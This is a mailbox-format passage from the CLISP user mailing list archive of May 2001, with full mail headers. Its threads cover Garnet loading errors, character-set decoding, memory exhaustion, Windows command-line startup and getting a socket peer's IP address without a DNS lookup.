;;; RETURNS: ;;; normally NIL; returns T if: ;;; - the property is :WIDTH or :HEIGHT and a new buffer is required because ;;; the old one was too small; or ;;; - the property is :VISIBLE and the window needs to be mapped. ;;; (defun x-set-window-property (window property value) (case property (:BACKGROUND-COLOR ...) ;; ... (:REPORT-ASYNCHRONOUS-ERRORS (setf (xlib:display-report-asynchronous-errors opal::*default-x-display*) value)) ;; ... (T (format t "Unknown property ~S in gem:x-set-window-property.~%" property)))) [...] After the above mentioned error, however, I am able to use Garnet anyway--e.g. for loading the demos--by switching to the USER package and evaluating the appropriate forms: 1. Break [7]> abort [8]> *package* # [9]> (garnet-load "demos:demos-controller") *** - EVAL: the function GARNET-LOAD is undefined 1. Break [10]> abort [11]> (in-package :user) # USER[12]> (garnet-load "demos:demos-controller") Loading #P"/usr/local/lib/clisp/garnet/src/demos/demos-controller" [...] A few demos--e.g. angle, scrollbar and unidraw--still do not work, but this is a minor problem. Do you have any suggestions for solving the problem with the Garnet image and DISPLAY-REPORT-ASYNCHRONOUS-ERRORS? Paolo ----------------------------------------------------------------------------- -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From keithr@ssd.fsi.com Wed May 16 15:05:35 2001 Received: from ns1.fsbti.com ([63.89.136.194] helo=guardian.fsbti.com ident=firewall-user) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 1509QF-0001fR-00 for ; Wed, 16 May 2001 15:05:35 -0700 Received: by guardian.fsbti.com; id PAA02753; Wed, 16 May 2001 15:05:31 -0700 Received: from nodnsquery(192.168.31.51) by guardian.fsbti.com via smap (V5.5) id xmaa02728; Wed, 16 May 01 15:04:35 -0700 Received: by SRV001B2 with Internet Mail Service (5.5.2653.19) id ; Wed, 16 May 2001 18:03:08 -0400 Message-ID: From: "Rehm, Keith" To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] character sets Date: Wed, 16 May 2001 18:05:23 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam, Yes! Thank you. :external-format CHARSET:ISO-8859-1 solved the problem. You made a correct assumption on my current version. I will supply (lisp-implementation-version) in the future. In Acrobat Reader there is a toolbar button with a T (for "text"?). Select that and one can select text, then copy,....I pasted into an Emacs buffer... Thank you again, Keith -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Wednesday, May 16, 2001 10:26 AM To: Rehm, Keith Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] character sets > * In message > * On the subject of "[clisp-list] character sets" > * Sent on Tue, 15 May 2001 19:07:43 -0400 > * Honorable "Rehm, Keith" writes: > > I am using the win32 binaries on a win2k machine. I get the error: you did not specify the CLISP version and where you got your binaries. I assume that you mean the latest release 2.25.1 and my binary from SF. next time please supply the value of (lisp-implementation-version). > *** - invalid byte #x81 in CHARSET:CP1252 conversion > > I found that an apparent cause of this is a +/- sign which was > copied/pasted from a pdf document into a (ada source) file I am how do you copy/paste from PDF?! > reading with read-line. Is it the case that the win32 CLISP is not > able to read these characters because of certain character sets not > being compiled into the binaries? you need to specify the :external-format argument to open, see http://clisp.sourceforge.net/impnotes.html#open -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Only a fool has no doubts. _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net http://lists.sourceforge.net/lists/listinfo/clisp-list From Randy.Justice@cnet.navy.mil Thu May 17 05:21:34 2001 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 150Mly-0003ZT-00 for ; Thu, 17 May 2001 05:20:55 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id HAA16224 for ; Thu, 17 May 2001 07:19:15 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Thu, 17 May 2001 07:19:24 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net Date: Thu, 17 May 2001 07:19:23 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0DECB.9B9C8F30" Subject: [clisp-list] Memory Error Message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0DECB.9B9C8F30 Content-Type: text/plain; charset="iso-8859-1" Hi. I was running clisp overnight. I get the following error message(s) Trying to make room through a GC... Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory. Trying to make room through a GC... Unable to load interpreter /lib/ld-linudx.so.2 Unable to load interpreter /lib/ld-linudx.so.2 Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory. Trying to make room through a GC... Is this an OS or CLISP message? Randy ------_=_NextPart_001_01C0DECB.9B9C8F30 Content-Type: text/html; charset="iso-8859-1" Memory Error Message

Hi.

I was running clisp overnight.  I get the following error message(s)

Trying to make room through a GC...
Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory.
Trying to make room through a GC...
Unable to load interpreter /lib/ld-linudx.so.2
Unable to load interpreter /lib/ld-linudx.so.2
Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory.
Trying to make room through a GC...

Is this an OS or CLISP message?


Randy

------_=_NextPart_001_01C0DECB.9B9C8F30-- From sds@gnu.org Thu May 17 07:25:27 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 150OiU-0007zY-00 for ; Thu, 17 May 2001 07:25:26 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA05189; Thu, 17 May 2001 10:25:21 -0400 (EDT) X-Envelope-To: To: "Justice, Randy -CONT\(DYN\)" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Memory Error Message References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 17 May 2001 10:22:37 -0400 Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] Memory Error Message" > * Sent on Thu, 17 May 2001 07:19:23 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > I was running clisp overnight. I get the following error message(s) > > Trying to make room through a GC... > Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory. > Trying to make room through a GC... > Unable to load interpreter /lib/ld-linudx.so.2 > Unable to load interpreter /lib/ld-linudx.so.2 > Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory. > Trying to make room through a GC... > > Is this an OS or CLISP message? OS is refusing CLISP request to allocate more memory. CLISP is trying to get more room through GC, but it fails to get enough. ENOMEM is the errno which is set when malloc(3) fails to allocate the requested space. You have to rethink your application - maybe you are keeping too much unnecessary data still available (if it were garbage, CLISP would have collected it). If you really need all that data, you will probably need to get more physical RAM or swap space. CLISP is very frugal on memory usage, so I would guess that it is not our fault. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on We are born naked, wet, and hungry. Then things get worse. From Randy.Justice@cnet.navy.mil Thu May 17 07:40:43 2001 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 150Owh-00047R-00 for ; Thu, 17 May 2001 07:40:07 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id JAA09619; Thu, 17 May 2001 09:39:27 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Thu, 17 May 2001 09:39:36 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'sds@gnu.org'" , "Justice, Randy -CONT(DYN)" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Memory Error Message Date: Thu, 17 May 2001 09:39:35 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0DEDF.31A5B2F0" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0DEDF.31A5B2F0 Content-Type: text/plain; charset="iso-8859-1" Thanks for the information... I'm going add more swap space.... Randy -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Thursday, May 17, 2001 9:23 AM To: Justice, Randy -CONT(DYN) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Memory Error Message > * In message > * On the subject of "[clisp-list] Memory Error Message" > * Sent on Thu, 17 May 2001 07:19:23 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > I was running clisp overnight. I get the following error message(s) > > Trying to make room through a GC... > Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory. > Trying to make room through a GC... > Unable to load interpreter /lib/ld-linudx.so.2 > Unable to load interpreter /lib/ld-linudx.so.2 > Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory. > Trying to make room through a GC... > > Is this an OS or CLISP message? OS is refusing CLISP request to allocate more memory. CLISP is trying to get more room through GC, but it fails to get enough. ENOMEM is the errno which is set when malloc(3) fails to allocate the requested space. You have to rethink your application - maybe you are keeping too much unnecessary data still available (if it were garbage, CLISP would have collected it). If you really need all that data, you will probably need to get more physical RAM or swap space. CLISP is very frugal on memory usage, so I would guess that it is not our fault. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on We are born naked, wet, and hungry. Then things get worse. ------_=_NextPart_001_01C0DEDF.31A5B2F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] Memory Error Message

Thanks for the information...

I'm going add more swap space....

Randy



-----Original Message-----
From: Sam Steingold [mailto:sds@gnu.org]
Sent: Thursday, May 17, 2001 9:23 AM
To: Justice, Randy -CONT(DYN)
Cc: clisp-list@lists.sourceforge.net
Subject: Re: [clisp-list] Memory Error = Message


> * In message = <B4CA1F5D8D23D411ADC7009027E791BF013ED29F@pens0394.cnet.navy.Mil><= /FONT>
> * On the subject of "[clisp-list] Memory = Error Message"
> * Sent on Thu, 17 May 2001 07:19:23 = -0500
> * Honorable "Justice, Randy = -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil> writes:
>
> I was running clisp overnight.  I get the = following error message(s)
>
> Trying to make room through a GC...
> Cannot map memory to address 0X202EA000 . errno = =3D ENOMEM: Not enough memory.
> Trying to make room through a GC...
> Unable to load interpreter = /lib/ld-linudx.so.2
> Unable to load interpreter = /lib/ld-linudx.so.2
> Cannot map memory to address 0X202EA000 . errno = =3D ENOMEM: Not enough memory.
> Trying to make room through a GC...
>
> Is this an OS or CLISP message?

OS is refusing CLISP request to allocate more = memory.
CLISP is trying to get more room through GC, but it = fails to get enough.
ENOMEM is the errno which is set when malloc(3) = fails to allocate the
requested space.

You have to rethink your application - maybe you are = keeping too much
unnecessary data still available (if it were = garbage, CLISP would have
collected it).  If you really need all that = data, you will probably need
to get more physical RAM or swap space.

CLISP is very frugal on memory usage, so I would = guess that it is not
our fault.

--
Sam Steingold (http://www.podval.org/~sds)
Support Israel's right to defend herself! <http://www.i-charity.com/go/israel>
Read what the Arab leaders say to their people on = <http://www.memri.org/>
We are born naked, wet, and hungry.  Then = things get worse.

------_=_NextPart_001_01C0DEDF.31A5B2F0-- From Randy.Justice@cnet.navy.mil Thu May 17 11:44:12 2001 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 150SkX-0007aO-00 for ; Thu, 17 May 2001 11:43:49 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id NAA13392; Thu, 17 May 2001 13:43:06 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Thu, 17 May 2001 13:43:16 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'sds@gnu.org'" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Memory Error Message Date: Thu, 17 May 2001 13:43:15 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0DF01.3B794AE0" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0DF01.3B794AE0 Content-Type: text/plain; charset="iso-8859-1" Sometimes recursion is not the best design. I went from 300M memory usage to 3.5M. The speed increased at least 3-5X too. Thanks for the insight. Randy -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Thursday, May 17, 2001 9:23 AM To: Justice, Randy -CONT(DYN) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Memory Error Message > * In message > * On the subject of "[clisp-list] Memory Error Message" > * Sent on Thu, 17 May 2001 07:19:23 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > I was running clisp overnight. I get the following error message(s) > > Trying to make room through a GC... > Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory. > Trying to make room through a GC... > Unable to load interpreter /lib/ld-linudx.so.2 > Unable to load interpreter /lib/ld-linudx.so.2 > Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory. > Trying to make room through a GC... > > Is this an OS or CLISP message? OS is refusing CLISP request to allocate more memory. CLISP is trying to get more room through GC, but it fails to get enough. ENOMEM is the errno which is set when malloc(3) fails to allocate the requested space. You have to rethink your application - maybe you are keeping too much unnecessary data still available (if it were garbage, CLISP would have collected it). If you really need all that data, you will probably need to get more physical RAM or swap space. CLISP is very frugal on memory usage, so I would guess that it is not our fault. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on We are born naked, wet, and hungry. Then things get worse. ------_=_NextPart_001_01C0DF01.3B794AE0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] Memory Error Message

Sometimes recursion is not the best design.
I went from 300M memory usage to 3.5M.

The speed increased at least 3-5X too.


Thanks for the insight.

Randy


-----Original Message-----
From: Sam Steingold [mailto:sds@gnu.org]
Sent: Thursday, May 17, 2001 9:23 AM
To: Justice, Randy -CONT(DYN)
Cc: clisp-list@lists.sourceforge.net
Subject: Re: [clisp-list] Memory Error = Message


> * In message = <B4CA1F5D8D23D411ADC7009027E791BF013ED29F@pens0394.cnet.navy.Mil><= /FONT>
> * On the subject of "[clisp-list] Memory = Error Message"
> * Sent on Thu, 17 May 2001 07:19:23 = -0500
> * Honorable "Justice, Randy = -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil> writes:
>
> I was running clisp overnight.  I get the = following error message(s)
>
> Trying to make room through a GC...
> Cannot map memory to address 0X202EA000 . errno = =3D ENOMEM: Not enough memory.
> Trying to make room through a GC...
> Unable to load interpreter = /lib/ld-linudx.so.2
> Unable to load interpreter = /lib/ld-linudx.so.2
> Cannot map memory to address 0X202EA000 . errno = =3D ENOMEM: Not enough memory.
> Trying to make room through a GC...
>
> Is this an OS or CLISP message?

OS is refusing CLISP request to allocate more = memory.
CLISP is trying to get more room through GC, but it = fails to get enough.
ENOMEM is the errno which is set when malloc(3) = fails to allocate the
requested space.

You have to rethink your application - maybe you are = keeping too much
unnecessary data still available (if it were = garbage, CLISP would have
collected it).  If you really need all that = data, you will probably need
to get more physical RAM or swap space.

CLISP is very frugal on memory usage, so I would = guess that it is not
our fault.

--
Sam Steingold (http://www.podval.org/~sds)
Support Israel's right to defend herself! <http://www.i-charity.com/go/israel>
Read what the Arab leaders say to their people on = <http://www.memri.org/>
We are born naked, wet, and hungry.  Then = things get worse.

------_=_NextPart_001_01C0DF01.3B794AE0-- From dennis@illusions.com Fri May 18 00:05:48 2001 Received: from bubba.gong.com ([207.254.25.3] helo=illusions.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 150eKa-0006LZ-00 for ; Fri, 18 May 2001 00:05:48 -0700 Received: from localhost (dennis@localhost) by illusions.com (8.11.3/8.11.3) with ESMTP id f4I75JW29691; Fri, 18 May 2001 00:05:23 -0700 Date: Fri, 18 May 2001 00:05:19 -0700 (MST) From: Dennis To: Sam Steingold cc: Subject: Re: [clisp-list] GUI library under windows? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On 16 May 2001, Sam Steingold wrote: > please look at http://wxpython.org/ > the issue is time and will, not experience. > If you have time and will, get wxwin, wxpy, look at the code, > subscribe to clisp-devel and ask questions there... Ok, I'm starting to look at wxpy. -- --- Dennis Sacks dennis@illusions.com From hnowak@cuci.nl Sun May 20 01:38:12 2001 Received: from hera.cuci.nl ([212.125.128.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 151Oj5-0005KT-00 for ; Sun, 20 May 2001 01:38:12 -0700 Received: from hnowak (hnowak.cm.cuci.nl [10.1.6.216]) by hera.cuci.nl (BuGless_3.01) with SMTP id f4K8bSf09004 for ; Sun, 20 May 2001 10:37:29 +0200 Message-Id: <200105200837.f4K8bSf09004@hera.cuci.nl> From: "Hans Nowak" To: clisp-list@lists.sourceforge.net Date: Sun, 20 May 2001 10:35:52 +0200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: hnowak@cuci.nl Priority: normal X-mailer: Pegasus Mail for Win32 (v3.01d) Subject: [clisp-list] Newbie: Problems starting a program Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, I'm new to CLISP and LISP in general. The other day I downloaded copies of version 2.25 and 2.25.1 of CLISP for Windows (I am using Win98). I have problems feeding LISP files to it though. I have a very simple test program "hello.lsp": (write-line "Hello, world!") Doing this in interactive mode works fine. Loading the file works fine too; so does specifying the file on the command line with -i, like lisp.exe [...] -i hello.lsp However, what I want is to have CLISP start, load the program, execute it, and stop. From what I got from the manual, this is what this command line should do: lisp.exe -B c:\lang\clisp\ -M lispinit.exe hello.lsp It doesn't work though. In 2.25, nothing happens at all, and in 2.25.1, I get an error message, something about 'invalid form ".BAT"'. As said, everything else works, including compiling the program using the -c switch. I am obviously missing something. But what? Thanks in advance, --Hans Nowak (zephyrfalcon@hvision.nl) You call me a masterless man. You are wrong. I am my own master. May a spaniel wipe the sweat from your glass of milk! From sds@gnu.org Sun May 20 08:52:09 2001 Received: from out1.prserv.net ([32.97.166.31] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 151VV2-0008Ry-00 for ; Sun, 20 May 2001 08:52:09 -0700 Received: from xchange.com (slip-32-100-243-11.ma.us.prserv.net[32.100.243.11]) by prserv.net (out1) with ESMTP id <2001052015520420100i5607e>; Sun, 20 May 2001 15:52:05 +0000 To: hnowak@cuci.nl Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Newbie: Problems starting a program References: <200105200837.f4K8bSf09004@hera.cuci.nl> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200105200837.f4K8bSf09004@hera.cuci.nl> Date: 20 May 2001 11:50:10 -0400 Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200105200837.f4K8bSf09004@hera.cuci.nl> > * On the subject of "[clisp-list] Newbie: Problems starting a program" > * Sent on Sun, 20 May 2001 10:35:52 +0200 > * Honorable "Hans Nowak" writes: > > lisp.exe -B c:\lang\clisp\ -M lispinit.exe hello.lsp > > It doesn't work though. In 2.25, nothing happens at all, and in > 2.25.1, I get an error message, something about 'invalid form > ".BAT"'. As said, everything else works, including compiling the > program using the -c switch. this was a bug in 2.25.1 - thanks for reporting it. it was fixed on 2001-04-18 (see src/ChangeLog in the CVS). next time please send the exact wording of the error message. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on My inferiority complex is not as good as yours. From don-sourceforge@isis.compsvcs.com Tue May 22 22:33:11 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 152RGh-0005gT-00 for ; Tue, 22 May 2001 22:33:11 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f4N5YdP14444 for clisp-list@lists.sourceforge.net; Tue, 22 May 2001 22:34:39 -0700 (PDT) Date: Tue, 22 May 2001 22:34:39 -0700 (PDT) Message-Id: <200105230534.f4N5YdP14444@isis.compsvcs.com> X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] lisp:socket-stream-peer Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I may have asked this before. It seems that lisp:socket-stream-peer does some sort of operation (DNS lookup) that can take a very long time to complete. I guess that's cause it has an IP address and is trying to generate a name. Is there some way to just get the IP address of the peer? That's all I really want and I want it to take a small bounded amount of time. From sds@gnu.org Wed May 23 10:55:38 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 152crC-0006w5-00 for ; Wed, 23 May 2001 10:55:38 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA12373; Wed, 23 May 2001 13:55:34 -0400 (EDT) X-Envelope-To: To: don-sourceforge@isis.compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp:socket-stream-peer References: <200105230534.f4N5YdP14444@isis.compsvcs.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200105230534.f4N5YdP14444@isis.compsvcs.com> Date: 23 May 2001 13:52:38 -0400 Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200105230534.f4N5YdP14444@isis.compsvcs.com> > * On the subject of "[clisp-list] lisp:socket-stream-peer" > * Sent on Tue, 22 May 2001 22:34:39 -0700 (PDT) > * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes: > > It seems that lisp:socket-stream-peer does some sort of operation > (DNS lookup) that can take a very long time to complete. I guess > that's cause it has an IP address and is trying to generate a name. > Is there some way to just get the IP address of the peer? > That's all I really want and I want it to take a small bounded > amount of time. ext:socket-stream-peer is not a structure accessor. you should not call it more than once for a given socket - the return value does not change. you should always expect network delays in network code. If you use its value for pretty-printing, maybe the printed representation of the socket object is what you are really after? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The early bird may get the worm, but the second mouse gets the cheese. From don-sourceforge@isis.compsvcs.com Wed May 23 11:03:04 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 152cyO-0007nu-00 for ; Wed, 23 May 2001 11:03:04 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f4NI4X814959; Wed, 23 May 2001 11:04:33 -0700 (PDT) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15115.64432.440488.815576@isis.compsvcs.com> Date: Wed, 23 May 2001 11:04:32 -0700 (PDT) To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp:socket-stream-peer In-Reply-To: References: <200105230534.f4N5YdP14444@isis.compsvcs.com> X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > > * In message <200105230534.f4N5YdP14444@isis.compsvcs.com> > > * On the subject of "[clisp-list] lisp:socket-stream-peer" > > * Sent on Tue, 22 May 2001 22:34:39 -0700 (PDT) > > * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes: > > > > It seems that lisp:socket-stream-peer does some sort of operation > > (DNS lookup) that can take a very long time to complete. I guess > > that's cause it has an IP address and is trying to generate a name. > > Is there some way to just get the IP address of the peer? > > That's all I really want and I want it to take a small bounded > > amount of time. > > ext:socket-stream-peer is not a structure accessor. Right. I want the structure accessor. Is there one? If not, could it be added? > you should not call it more than once for a given socket - the return > value does not change. Even calling it once per stream is too often. > you should always expect network delays in network code. But I don't want to call network code. I just want the IP address of the peer. > If you use its value for pretty-printing, maybe the printed > representation of the socket object is what you are really after? I don't want it for pretty printing, I want to know the IP address of the peer. And the socket object does not print with the address of the peer, only the address of the local machine. So please tell me how I can get the IP address of the peer. Right now I have to use socket-stream-peer to get a string and then parse that to reconstruct the address. From sds@gnu.org Wed May 23 11:20:40 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 152dFQ-0001IP-00 for ; Wed, 23 May 2001 11:20:40 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA18314; Wed, 23 May 